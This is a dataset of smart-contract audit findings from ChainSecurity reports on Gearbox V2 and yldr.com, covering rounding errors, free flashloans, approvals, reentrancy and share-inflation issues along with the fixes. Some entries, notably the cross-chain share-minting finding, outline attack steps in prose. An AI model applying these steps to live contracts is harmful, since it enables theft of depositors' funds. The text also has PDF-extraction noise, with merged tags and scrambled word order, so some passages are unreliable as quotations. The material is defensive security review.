ERC-20 specification. However, there are tokens such as USDT or OMG which do not adhere to this specification and have no return value on approve() and transfer. in Calling CreditAccount.approveToken() with these tokens will revert as the function call does not return the expected return value. Hence it's not possible for the new credit accounts to give approval on such tokens. Gearbox Protocol - Gearbox V2 - 16 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1Speci\ufb01cationChangedDesignMediumVersion1CodeCorrected \fThe new CreditAccount implementation no longer features an approveToken function. Approvals through CreditManager.approveCreditAccount() now use the execute function of the CreditAccount which allows arbitrary calls. This works for both, the new implementation and the old already deployed credit accounts. If present, the returned boolean is checked. In case the approval is unsuccessful the code attempts to reset the approval to 0 before attempting the to approve the intended amount. This accounts for some token implementations enforcing this. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.4 CumulativeDrop Calculation Rounding", "body": " The new fast collateral check is described as follows: The fast check now ensures that the HF has not decreased significantly, rather than pure collateral value. The decrease is also tracked cumulatively across multiple swaps (hence the sum) - as soon as liquidationFee of cumulative loss is occurred, a full collateral check is performed and the cumulative sum is reset. The computation is done as follows: // compute cumulative price drop in PERCENTAGE FORMAT uint256 cumulativeDrop = PERCENTAGE_FACTOR - ((amountOutCollateral * PERCENTAGE_FACTOR) / amountInCollateral) + cumulativeDropAtFastCheck[creditAccount]; // F:[CM-36] ... if (cumulativeDrop <= slot0.feeLiquidation) { cumulativeDropAtFastCheck[creditAccount] = cumulativeDrop; // F:[CM-36] return; } PERCENTAGE_FACTOR is 10`000. This allows precision up to 2 decimals. Resulting rounding errors per division might be up to 0.009999% Drops up to 0.009999...% per fast check are not detected nor added to cumulativeDropAtFastCheck. This may be done repeatedly. Hence the requirement The decrease is also tracked cumulatively across multiple swaps (hence the sum) - as soon as liquidationFee of cumulative loss is occured, a full collateral check is performed strictly speaking does not hold. Other protocols, e.g. Maker work with significant higher precision internally. Is the resulting precision sufficient / can the potential loss be tolerated? The new fast check compares cumulativeDrop and feeLiquidation. While both are percentages, they are different: The feeLiquidation will be taken from the actual total value while the cumulative drop has been calculated taking into account the liquidation thresholds. Given the liquidation thresholds are strictly lower than 100% there is a safety margin before the system takes a loss. The precision of the calculation was increased in RAY. The relevant code snippet now looks like this: Gearbox Protocol - Gearbox V2 - 17 CorrectnessLowVersion3CodeCorrected \f// compute cumulative price drop in WAD FORMAT uint256 cumulativeDropRAY = RAY - ((amountOutCollateral * RAY) / amountInCollateral) + cumulativeDropAtFastCheckRAY[creditAccount]; // F:[CM-36] // if it drops less that feeLiquiodation - we just save it till next check // otherwise new fullCollateral check is required if ( cumulativeDropRAY <= (slot0.feeLiquidation * RAY) / PERCENTAGE_FACTOR ) { cumulativeDropAtFastCheckRAY[creditAccount] = cumulativeDropRAY; // F:[CM-36] return; } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.5 twvUSD Contains Value in Underlying", "body": " The public function CreditFacade.calcCreditAccountHealthFactor() calculates the health factor in percent: function calcCreditAccountHealthFactor(address creditAccount) public view override returns (uint256 hf) { (, uint256 twvUSD) = calcTotalValue(creditAccount); // F:[FA-42] (, uint256 borrowAmountWithInterest) = creditManager .calcCreditAccountAccruedInterest(creditAccount); // F:[FA-42] hf = (twvUSD * PERCENTAGE_FACTOR) / borrowAmountWithInterest; // F:[FA-42] } The naming of the variable twvUSD is misleading since the total weighted value returned by calcTotalValue() is in the underlying. Note that it has to be in the underlying for the calculation hf = (twvUSD * PERCENTAGE_FACTOR) / borrowAmountWithInterest to be correct. twvUSD was renamed into twv. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.6 Free Flashloan upon Open/Close", "body": " introduced a protection which prevents free flashloans by increasing/decreasing debt within the same multicall. A variable within _multicall() tracks whether debt has already been increased in this call and if true prevents reducing debt. This prevention however is not effective in a corner case: When a new credit account has just been opened through openCreditAccountMulticall() debt can be reduced within the multicall (free flashloan). Gearbox Protocol - Gearbox V2 - 18 CorrectnessLowVersion3CodeCorrectedDesignLowVersion2CodeCorrectedVersion2 \f The internal variable tracking whether debt has already been increased is now an additional input parameter for _multicall(). This allows the calling function openCreditAccountMulticall() to pass the information that debt has already been increased and hence the prevention also works in this corner case described in the issue above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.7 Adapters Ignore User Input", "body": " The design of the Adapters is that they implement the same interface as the contract they connect to. Illustrated with the following examples taken from the YearnV2 adapter this issue highlights that user inputs are sometimes silently ignored: /// @dev Deposit credit account tokens to Yearn /// @param amount in tokens function deposit(uint256 amount, address) external override nonReentrant returns (uint256) { address creditAccount = creditManager.getCreditAccountOrRevert( msg.sender ); // F:[AYV2-4] return _deposit(creditAccount, amount); // F:[AYV2-7,12] } deposit() allows the user to specify the address of the recipient of the yVault shares. Obviously, this is not allowed as the funds must remain with the CreditAccount. The implementation uses \"safe defaults\", and ignores the user input. This behavior should be documented. A more critical example is function withdraw and parameter maxLoss. The user may intend to set the acceptable maxLoss to a lower value. The implementation of the adapter however ignores this value and proceeds with the default. The result may be unexpected for the user. function withdraw( uint256 maxShares, address, uint256 maxLoss ) public override nonReentrant returns (uint256 shares) { address creditAccount = creditManager.getCreditAccountOrRevert( msg.sender ); // F:[AYV2-4] return _withdraw(creditAccount, maxShares); // F:[AYV2-9,14] } Gearbox Protocol - Gearbox V2 - 19 DesignLowVersion1CodeCorrected \f There is now a withdraw() override that correctly passes maxLoss to the corresponding withdraw(uint256,address,uint256) internal function _withdrawMaxLoss function. the Yearn vault, using an in Note: There are other adapter functions where the inputs are ignored - this happens in 2 cases: The adapter passes unmodified msg.data to the target contract, and doesn\u2019t need some of the inputs for adapter-specific operations; The input is the recipient address, which is always replaced by the credit account address (same cases as the deposit(uint256,address) function described in the original issue). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.8 Add Token Without Liquidation Threshold", "body": " Configurators may add a token to a credit manager using the function addTokenAllowedList. Initially, this token has a liquidation threshold of zero, the configurator must set a liquidation threshold using the function setLiquidationThreshold. When no liquidation threshold is set for a token, the balance of this token that the credit accounts hold doesn't count towards the weighted value. The function in question is now called CreditConfigurator.addCollateralToken(). It now accepts uint16 liquidationThreshold as input and calls _setLiquidationThreshold() immediately after adding the token. _setLiquidationThreshold() checks that the passed LT value is larger than 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.9 Checking for Valid Token Indices for Curve", "body": " Pools Is Too Loose When translating the token index required in Curve pools to the token as known to Gearbox, the following require is executed: function _get_token(int128 i) internal view returns (address) { require(i <= int128(uint128(N_COINS)), \"Incorrect index\"); return (i == 0) ? token0 : token1; } This check passes for invalid values like negative indices and exactly one index too high, e.g. i = 2 passes for pools with N_COINS = 2 like in this example, although only i = 0 and i = 1 should pass. While in our understanding Curve will fail when called with invalid tokens, it is safer to ensure that no wrong token indices can be passed to not have to rely on Curve preventing execution with those indices. Gearbox Protocol - Gearbox V2 - 20 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe code has been refactored, the __getToken() function in CurveV1AdapterBase is strict and reverts for invalid indices. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.10 Credit Accounts Give Very High Approval to", "body": " Contract Credit accounts give very high (25% of uint96.max) approval to the contracts adapters connect to. This approval remains even when the credit account is returned to the factory or being assigned to the next user. Giving excess approvals introduces a risk: The third party system must be fully trusted and reviewed that these approvals cannot be accessed when not called by the holder of the funds. If this does not hold, e.g. due to a bug, the funds of credit accounts are at risk. One https://medium.com/gelato-network/sorbet-finance-vulnerability-post-mortem-6f8fba78f109 example where such loss bug led to a of funds: Gearbox uses a trust-minimized approach by validating effects of adapters for token transfers instead of relying on correct execution. The recently discovered UniswapV3 bug would also have been prevented in case targeted allowances are given. Infinite approvals can undermine this approach. Approving only the necessary funds each time also saves gas as the increased allowance is reset to the original value, resulting in a refund which is significantly larger than the overhead cost of calling into a \"hot\" contract. Gearbox Protocol responded: For more fine-grained security configuration, there are now 2 allowance models: 1. Max allowance For highly-trusted protocols (such as Curve or Uniswap) approvals are always set to type(uint256).max. For swap-like operations the AbstractAdapter._executeMaxAllowanceFastCheck() function. After each operation, the system returns allowance to the maximal possible value. This significantly improves UX for WalletConnect usage, since users wouldn\u2019t have is encapsulated logic this in to approve tokens in the Uniswap/Curve interface after each transaction. 2. Limited allowance For other protocols, approvals are set to the available balance on the Credit Account before the operation, and then reset to 1 in the end. This would prevent an attacker from withdrawing assets from Credit Accounts, if they manage to compromise the target contracts. and safe fastCheck Maximal AbstractAdapter._executeMaxAllowanceFastCheck() AbstractAdapter._safeExecuteFastCheck(), fullCollateralCheck operations have to be done manually within adapter functions. respectively. allowances operations for are set Allowances in and for This mitigation still allowed to be circumvented in the following way: The limited allowance approach for semi-trusted third-party contracts might be circumvented: Using CreditFacade.approve() the current owner of a credit contract may approve a supported token for any supported target contract. Such an approval remains when the credit account is returned to the factory and still exists when the credit account is assigned to the next user. Gearbox Protocol further improved the security in the following way: In order to improve the security of the CreditFacade.approve() function, upgradeableContracts was added to the Credit Facade. This is a list of contracts with practices potentially detrimental to Gearbox Protocol - Gearbox V2 - 21 SecurityLowVersion1CodeCorrected \fsecurity. This includes upgradeable contracts, contracts that can make arbitrary calls (even with admin-only access), etc. approve now reverts when called on a contract in upgradeableContracts. Currently, the Gearbox team intends to include only Lido into the list, as no other supported contracts appear to be upgradeable, or able to call transferFrom on CA assets. To additionally secure assets accounts that don't belong to the attacker but have allowances (e.g., some non-zero allowances may remain after previous use), the first iteration of the Universal Adapter was implemented, which allows users to revoke all allowances on a newly-opened account. Note: CreditFacade.approve is mainly used to support WalletConnect with dApp frontends. Most frontends require non-zero allowance of a token to the contract, and do not allow any further action before approve is called. Thus, a function to set allowance separately from adapter actions is required. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.11 CreditAccount Calls approve() on", "body": " Unsupported Token CreditManager.approveCreditAccount() approves token transfers on behalf of a credit account. The function calls the CreditAccount which then executes a call to the given tokens approve() function. The function is annotated with: /// @dev Approve tokens for credit account. Restricted for adapters only Note that the comment is incorrect as it can also be called by the CreditFacade. While CreditFacade.approve() does check whether the token to be approved is supported, the adapters generally do not check this. CreditManager.approveCreditAccount() itself does not perform such a check on the given token address. The lack of token validation may be used in an exploit. Note the following should also be taken into account: CreditAccounts may receive other tokens e.g. as an airdrop. How should users be able to access/trade them? A token may have been \"forbidden\". Does this only apply to a new incoming asset or does this also block usage as an outgoing asset? Token being supported is now checked in CreditManager.approveCreditAccount(). This means that the token will be verified regardless of whether the call comes from the CreditFacade or an adapter. On additional notes: CreditFacade now has an enableToken() function which allows the Credit Account owner to enable any token and include it in the collateral computation, as long as this token is supported by the Credit Manager and is not forbidden. This can be used to handle airdropped tokens. Whether the token is forbidden is only checked when a new token comes in and is being enabled (in CreditManager.checkAndEnableToken()). Whether an outgoing token is forbidden is not checked. This is Gearbox Protocol - Gearbox V2 - 22 SecurityLowVersion1CodeCorrected \fdeliberately done in order to allow positions in a forbidden token to be unwound after it was forbidden, by selling the token on Uniswap, closing/liquidating the account, etc. outdated: annotation The /// @dev Approve tokens for credit account. Restricted for adapters only. The CreditFacade is also eligible to call this function. function is ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.12 Curve Registry", "body": " The factory contract CurveLPFactory which deploys the curve price feeds has the address of the Curve registry hardcoded. Similarly, CurveV1_Base uses the hardcoded address. According to the Curve Documentation of their registry contracts, the central source of truth in the Curve system is the address provider. That contract allows changing the registry through set_address() when the id parameter is set to zero. Currently, the oracle stores the registry as an immutable. Hence, in case the registry changes, the contract will utilize a wrong registry. The Curve Registry is no longer used either by the price feeds or CurveV1_Base and hence this issue no longer applies. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.13 CurveV1 Adapters: TokenOut Might Not Be", "body": " Enabled at CreditAccount The implementation of the CurveV1_2/3/4 adapters bears the risk that after a successful action, the incoming tokens might not be enabled at the CreditAccount. Consider the following function: function remove_liquidity( uint256 amount, uint256[N_COINS] memory min_amounts ) external virtual nonReentrant { address creditAccount = creditManager.getCreditAccountOrRevert( msg.sender ); // F:[ACV1_2-3] _enable_tokens(creditAccount, min_amounts); _executeFullCheck(creditAccount, msg.data); //F:[ACV1_2-5,6] } Parameter min_amounts serves as slippage protection. The adapter uses it to enable the incoming tokens using the internal _enable_tokens function: function _enable_tokens( address creditAccount, uint256[N_COINS] memory amounts ) internal { Gearbox Protocol - Gearbox V2 - 23 CorrectnessLowVersion1CodeCorrectedSecurityLowVersion1CodeCorrected \f if (amounts[0] > 1) { creditManager.checkAndEnableToken(creditAccount, token0); //F:[ACV1_2-5,6] } if (amounts[1] > 1) { creditManager.checkAndEnableToken(creditAccount, token1); //F:[ACV1_2-5,6] } } If the user didn't set the slippage protection (which shouldn't be done as it makes the transaction vulnerable to being sandwiched, resulting in worse exchange rates) the token might not be enabled in the credit account. This may remain undetected when the remaining assets at the credit account suffice to reach a health factor > 1. Closing such a credit account likely leaves those tokens behind and a later borrower who realizes this could collect them. Also, if such a credit account becomes unhealthy and is liquidated, a liquidator could collect the tokens. The function now enables all tokens of the pool, regardless of the min_amounts array. This is correct, since remove_liquidity() transfers tokens based on the current inventory of the pool, so there are only two scenarios in which it can return less than 2 tokens: the user burns a very small amount of the LP token; the pool is 100% unbalanced, which should not be practically achievable in Curve. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.14 Duplicate Error Code Used", "body": " The library Errors contains error messages encoded as short strings to save on deployment cost and two distinct errors, contract CC_INCORRECT_TOKEN_CONTRACT and CM_TOKEN_IS_ALREADY_ADDED, which prevents users from exactly determining the cause of the error. size. One of the error is used \"CFH\", codes, for Text errors are being replaced with explicit Exceptions that are now being thrown on errors or constraint with in violations. IErrors.IncorrectTokenContractException and ICreditManagerV2Exceptions.TokenAlreadyAddedException. particular, replaced question errors were In In the current version of the code the library Errors.sol is still imported and used by several system contracts, the duplicate error described above however has been corrected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.15 Incorrect Comment After Refactoring", "body": " in CreditManager.manageDebt mentions function sometimes shifts A comment newBorrowedAmount. This comment refers to a previous version of the code and isn't describing the current system. that the Gearbox Protocol - Gearbox V2 - 24 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f The comment has been removed ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.16 Incorrect Descriptions", "body": " PriceOracle: The function description of addPriceFeed in both the contract and the interface definition incorrectly mentions Eth /// @param priceFeed Address of chainlink price feed token => Eth In GearboxV2 the Chainlink pricefeed used is supposed to return a value in USD. the return value in convertedToUSD() is incorrectly described as: /// @return Amount converted to tokenTo asset the description for parameter token should read to instead of from in the convertFromUSD()` function The description of fastCheck() is incorrect. Not all functions in the interface are annotated. CreditFacade: The description of both functions closeCreditAccount and liquidateCreditAccount mention the outdated sendAllAssets. CreditManager: fastCollateralCheck still mentions WETH instead of USD closeCreditAccount description mentions if sendAllAssets is true, this no longer exists. Specification changed: The aforementioned description issues have been rectified. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.17 Outdated Function Description", "body": " There are frequent cases in which comments refer to previous functionality in the code which now has been changed. As an example, the description of function closeCreditAccount in both contracts, CreditFacade and CreditManager describe sendAllAssets which no longer exists. Similarly this applies to the function liquidateCreditAccount of the CreditFacade in which skipTokenMask allows this behavior now. . Gearbox Protocol - Gearbox V2 - 25 CorrectnessLowVersion1Speci\ufb01cationChangedCorrectnessLowVersion1Speci\ufb01cationChanged \fSpecification changed: Function annotations have been brought up-to-date. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.18 PriceOracle: Unused Timestamp", "body": " function _getPrice(address token) internal view returns (uint256) { require( priceFeeds[token] != address(0), Errors.PO_PRICE_FEED_DOESNT_EXIST ); ( , //uint80 roundID, int256 price, //uint startedAt, , //uint80 answeredInRound , uint256 timeStamp, ) = AggregatorV3Interface(priceFeeds[token]).latestRoundData(); return uint256(price); } } latestRoundData() returns several values, all unused values except timesTamp are dropped. The value for timeStamp is handled but remains unused. PriceOracle.getPrice() now uses roundId, answer, updatedAt and answereInRound to perform sanity checks on round data. The unused startedAt value is dropped. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.19 Read-only Reentrancy", "body": " When integrating with Gearbox, developers should be aware of read-only reentrancy opportunities. Assume a credit account (CA) which is controlled by a protocol (P) integrating with Gearbox and holds WETH, and a malicious user (E). Assume now that at some point the account becomes liquidatable: E liquidates the account by calling CreditFacade.liquidateCreditAccount where the to address is a smart contract controlled by E and convertWETH is true. During closure, CreditManager.closeCreditAccount is called, which converts WETH to ETH and sends it to to as seen in the following snippet: Gearbox Protocol - Gearbox V2 - 26 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f_transferAssetsTo(creditAccount, to, convertWETH, enabledTokensMask); At this point, the control of the execution flow is passed to the smart contract of to address. The smart contract makes a call to P which queries the state of CA. CA will seem like it holds less value than it actually used to at the beginning of the transaction. The reason is that its state hasn't been fully updated but part of its holdings has been sent to another address. Based on this intermediate state of the CA, P might proceed incorrectly and end up in an unexpected state. The line ` delete creditAccounts[borrower]; // F:[CM-9] ` was moved to the beginning of the function, right after the Credit Account for the borrower is first retrieved. This will make any calls to CreditManager.getCreditAccountOrRevert() in the middle of closeCreditAccount execution fail, since the record no longer exists in the mapping. While third-party protocols that directly query the state through a saved CA address may still be vulnerable, we will advise all integrators to use CreditManager.getCreditAccountOrRevert() to retrieve the address dynamically, as a security best practice. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.20 Redundant Event Emission", "body": " When CreditFacade._disableToken is called, a TokenDisabled event is emitted even if the token was already disabled. CreditManager.disableToken() now returns whether the token was actually disabled. This is used in CreditFacade._disableToken() to emit the event conditionally. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.21 Redundant Initialization", "body": " In CreditConfigurator.constructor the following line can be found: creditManager.upgradePriceOracle(address(creditManager.priceOracle())); // F:[CC-1] This line upgrades the price oracle of the CreditManager with the same price oracle. Hence, this call is redundant. The line has been deleted. Gearbox Protocol - Gearbox V2 - 27 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7.22 Reentrancy Into CreditFacade The new CreditFacade featuring the new multicall functionality allows executing multiple actions including calls to the adapters. A health check of the credit account is only done once after all calls have been executed, not in between calls. In between calls credit accounts may be in an unhealthy state. The internal multicall function of CreditFacade itself is not protected against reentrancy, nor are some functions of the CreditFacade using this multicall functionality. Reentrancy protection is present in the called adapter and during the execution of certain functions of the CreditManager. Note that the reentrancy protection used works per contract: Reentrancy into the specific contract is locked at the beginning of the function and the lock is released when the function call completes. Aside from certain functions of the CreditFacade itself (which are handled differently), multicall allows calling any function on external contracts which are valid adapters. Furthermore, note that attacks are limited as credit account cannot be returned in the very same block it has been borrowed. Nevertheless, extra care should be taken especially as untrusted code can be reached via the adapters. It might be more cautious to prevent reentrancy into the CreditFacade as this is not intended to be done. Code corrected and Acknowledged: All remaining non-restricted CreditFacade functions have been covered with a nonReentrant modifier. This ensures that: At most one multicall can be performed within a single transaction (internal _multicall() can only be called from non-reentrant functions); Only one of debt-managing functions (addCollateral, increaseDebt and decreaseDebt) can be called externally within a single transaction (internal counterparts can be called multiple times within a multicall, barring flash loan protections). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.23 Sanity Check of New Pricefeed", "body": " PriceOracle._addPriceFeed() contains the following sanity check: require( AggregatorV3Interface(priceFeed).decimals() == 8, Errors.PO_AGGREGATOR_DECIMALS_SHOULD_BE_8 ); // F:[PO-2] This check helps to ensure that the intended kind of pricefeeds returning a price with 8 decimal is passed, which USD-denominated Chainlink pricefeeds do. The sanity check could be enhanced to check if the pricefeed actually implements the required functionality of the AggregatorV3Interface, notably whether function latestRoundData is implemented which is the function called by the PriceOracle to query the price. _addPriceFeed() now performs extensive sanity checks on the newly added feed and token: Gearbox Protocol - Gearbox V2 - 28 SecurityLowVersion1AcknowledgedCodeCorrectedDesignLowVersion1CodeCorrected \fChecks that neither feed nor token are zero addresses; Checks that the token is a contract; Checks that the price feed is a contract; Checks that the token implements decimals(); Checks that the feed implements decimals() and it is equal to 8; Checks that the feed implements dependsOnAddress(); Checks implements latestRoundData() (and performs sanity checks on the answer if skipPriceCheck() == false); implements skipPriceCheck(); Checks feed feed that that the the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.24 Unused allowedContractsSet", "body": " EnumerableSet.AddressSet private allowedContractsSet; defined in the CreditFacade is unused. The very same variable exists in the CreditConfigurator where it actually is used. Removed unused variable and corresponding getters. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "7.25 YearnV2Adapter: Different Behavior of", "body": " Functions Functions transfer and transferFrom approve() however behaves differently simply returns true. revert with Errors.NOT_IMPLEMENTED. Function approve(), transfer() and transferFrom() of the YearnV2Adapter now return false without doing anything. Gearbox Protocol - Gearbox V2 - 29 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "8.1 Airdrops", "body": " CreditAccounts may be eligible for airdrops, e.g. as they may have held a certain token when a snapshot was taken or as they may have interacted with a DeFi system a certain amount of times. Users of a credit account must be aware that they lose participation in the airdrop when they return the credit account (close/liquidation). At the moment when the information about an airdrop becomes public, this credit account may be in use or in the queue at the factory. Depending on the value of the airdrop users may attempt to retrieve this credit account. The governance has the option to take out such accounts directly. Generally, airdrops can only be claimed by the credit account if this process can be triggered by a third party. Airdrops requiring the credit account to call a specific function generally won't work as no adapter supporting this exists. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "8.2 Free Flashloans", "body": " Gearbox prevents users from increasing and decreasing their debt during a multicall and thus taking a free flashloan. However, a user could still create a contract that executes two separate multicalls, one that includes a debt increase and one that includes a debt decrease. This way, a free loan is still possible. It is important to note that the amount to be borrowed during the loan is still limited by the checks performed when an amount is borrowed from the pool. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "8.3 Renouncing Ownership", "body": " In Gearbox, transfers of ownership take place in two steps. First, the previous owner defines the new owner (pendingOwner) and the new owner claims the ownership. The Claimable contract extends Ownable meaning that the old owner can renounce ownership. Users should note that ownership renounce is ignored if a pending owner has been already defined since Claimable.claimOwnership does not check if the ownership has been renounced before. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "8.4 _safeTokenTransfer - Call to External", "body": " Address When the boolean parameter convertToETH is set to true, WETH is unwrapped into Ether. This Ether is transferred to the recipient using a call, the gas amount passed is not restricted. At this point, the execution may reach untrusted code. Gearbox Protocol - Gearbox V2 - 30 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fThe function name \"safeTokenTransfer\" is due to the usage of OpenZeppelins SafeERC20 library. One must be careful to not misinterpret the function name and assume using this function is \"safe\" under all circumstances. Gearbox Protocol - Gearbox V2 - 31 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/gearbox-v2/"}, {"title": "5.1 Rounding Error Leads to Blocked Queue", "body": " Rounding errors can block the processing of an operation eventually blocking the whole system. There are multiple instances of this issue. CS-APYF-001 Redeeming a small amount through the master vault could round down to zero one of the shares computation per chain. However, a zero amount shares redemption on ApyFlow.redeem() reverts because a computation uses the number of shares as a denominator. The following computation fails in ApyFlow._redeem(): uint256 processedPricePerToken = (valueInAsset * (10 ** decimals())) / shares; In BaseConcentratedLiquidityStrategy._redeem(), a rounding error in the calculation of the liquidity to be removed can lead the system to block as UniswapV3/QuickswapV3 does not allow removing 0 liquidity: uint128 liquidity = uint128( (_getPositionData().liquidity * shares) / totalSupply() ); In BaseConcentratedLiquidityStrategy._deposit(), a the calculation of the liquidity to be added can lead the system to block as UniswapV3/QuickswapV3 does not allow adding 0 liquidity. rounding error in The same issues as above appears in BaseHedgedConcentratedLiquidityStrategy. yldr.com - yldr.com - 14 SecurityDesignCorrectnessCriticalHighMediumAcknowledgedAcknowledgedLowDesignMediumVersion2Acknowledged \fAcknowledged: yldr.com replied: There always will be ways of making deposit/redeem revert at some step of processing and block the queue. Such attacks are non-profitable and relatively expensive for an attacker and considered non-likely. Even if attacks will happen, we have admin functionality which allows skipping of such malicious operations or funds recovery in case of vault becoming fully non-functionable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "5.2 Inflating Shares Price", "body": " The exchange rate for all ApyFlowVault contracts depends on some balances of the assets in the smart contract. Consequently, any asset donation will be taken into account and increase the exchange rate of the vault, and the value of the shares. A vault with a very small or equal to zero totalSupply, is therefore vulnerable to a price inflation attack. A malicious user could first mint a small number of shares and then send a great amount of assets to the smart contract. CS-APYF-002 subsequent Any computation assets.mulDiv(totalSupply_, totalAssets_) round to zero if the deposit amount is smaller than the exchange rate, leading to assets being transferred to the contract but no shares minted in exchange. deposit would make the Even if the amount is greater than the exchange rate, the rest of the division would not be accounted for because of the rounding error, leading to a partial donation of the funds to the current vault shares holders. Client acknowledged and replied: Our standard procedure is to deposit a small amount of funds (5-100 USD) into each newly created vault to test if it's functionable and to avoid an inflation attack. yldr.com - yldr.com - 15 SecurityMediumVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings Minting More Shares Price Manipulation -Severity Findings A Deposit Could Be Stuck Because of Slippage Fees Are Not Properly Harvested Missing Calculation Aave.ltv Cannot Be Updated -Severity Findings Underflow in Deposit Blocks the System Zero Redemption Blocks the System Dust in Deposits Idling Assets Unused in readdLiquidity() Leftovers Are Not Handled Queue Processing Is Slow Redemption of Small Amounts Is Impossible SlaveCrossLedgerVault With a Zero Portfolio Score Unused Function minimumOperationValue Could Block Redeems -Severity Findings Discrepancy Between Computed and Actual Price per Token Queue Could Be Stuck Because of Small-Amount Swaps ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.1 Minting More Shares", "body": " 2 4 10 2 The _startDeposit() function in the MasterCrossLedgerVault iterates over each chain and deposits an amount proportional to their associated portfolio score returned by the oracle. In the case where the amount destined to this chain rounds down to zero, the chain is ignored in _deposit() and the loop continues and no message is sent to and received from the chain. This can allow a malicious user to mint more shares than the value they deposited. The amount of shares minted is computed in the MasterCrossLedgerVault as follows: CS-APYF-027 yldr.com - yldr.com - 16 CriticalCodeCorrectedCodeCorrectedHighCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedSecurityCriticalVersion2CodeCorrected \fuint256 totalAssetsBefore = totalAssetsBeforeDeposit[opId]; uint256 totalAssetsAfter = totalAssetsAfterDeposit[opId]; uint256 deposited = totalAssetsAfter - totalAssetsBefore; uint256 shares; if (totalSupply() == 0) { shares = totalAssetsAfter; } else { shares = (deposited * totalSupply()) / totalAssetsBefore; } For a fair computation of the shares, totalAssetsBefore should denote the full value of all assets across all chains. totalAssetsBeforeDeposit[opId] is increased after a message is received from a slave chain that contains the total value of the assets held on the chain before the deposit of the user's assets. As no deposit is performed on the slave chain no such message is received. The next important aspect to understand is the deposited amount does not depend on the actual amount deposited by the user when the initiate the deposit. If the attacker donates to a pool used by an asset converter in the same transaction, the asset converter can receive a higher amount of the output token than the current price. This allows the attacker to take advantage of the rounding down errors caused by the small amount originally deposited while they eventually deposit a big amount to the system. Since the shares minted depend on the ratio deposited/totalAssetsBefore, the attacker is able to mint a big amount of shares as they increased deposited (by manipulating the pool) while keeping totalAssetsBefore low (by skipping chains). The attacker can now redeem their shares. Redemption works a bit differently than depositing: It just iterates over all chains without taking into account the portfolio score but instead provides them with a relative proportion (shares & totalSupply), so that each SlaveCrossLedgerVault can use this proportion to compute how many assets to redeem. However, for totalAssetsBefore to be updated by a slave vault, a cross-chain deposit must have occurred, which isn't the case when the argument is zero in _deposit(). To sum up the attack, the attacker would: 1. Call MasterCrossLedgerVault.deposit() with a small amount. This makes every amount round down to zero except for one chain which would have a very small amount deposited. 2. Increase this deposited amount by for example manipulating a liquidity pool. 3. Steal funds by directly redeeming the inflated number of shares minted. A new type of message has been introduced: ZERO_DEPOSIT to handle the case where the amount rounds down to zero. This allows chains to communicate their total assets even though no funds were deposited during the operation. ", "labels": ["ChainSecurity"], "html_url": 